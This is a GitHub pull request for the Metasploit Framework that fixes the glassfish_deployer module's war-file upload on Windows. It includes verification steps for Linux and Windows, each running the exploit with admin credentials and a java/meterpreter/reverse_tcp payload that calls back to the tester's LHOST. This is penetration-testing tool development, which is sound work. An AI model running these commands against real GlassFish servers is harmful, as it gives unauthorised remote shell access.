Fix #7247, Glassfish failing to upload the war file on Windows setups #7255
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
What This Patch Does
This patch fixes a problem in exploits/multi/http/glassfish_deployer. On Windows setups, the Glassfish module fails to upload the war file due to some missing fields in the HTTP POST request. However, this does not actually affect Linux setups even with the same Java version or GlassFish version.
Fix #7247
Verification for Linux
sudo apt-get install default-jdk
, this should get you JDK8.asadmin
start-domain domain1
. This will start GlassFish.At this point, you are ready to test the module:
use exploit/multi/http/glassfish_deployer
set RHOST [IP to GlassFish]
set PASSWORD [password to admin]
set SSL true
set target 1
set payload java/meterpreter/reverse_tcp
set LHOST [YOUR IP ADDRESS]
exploit
Verification for Windows
asadmin.bat
start-domain domain1
. This will start GlassFish.And then at that point, you are ready to test the module:
use exploit/multi/http/glassfish_deployer
set RHOST [IP to GlassFish]
set PASSWORD [password to admin]
set SSL true
set target 1
set payload java/meterpreter/reverse_tcp
set LHOST [YOUR IP ADDRESS]
exploit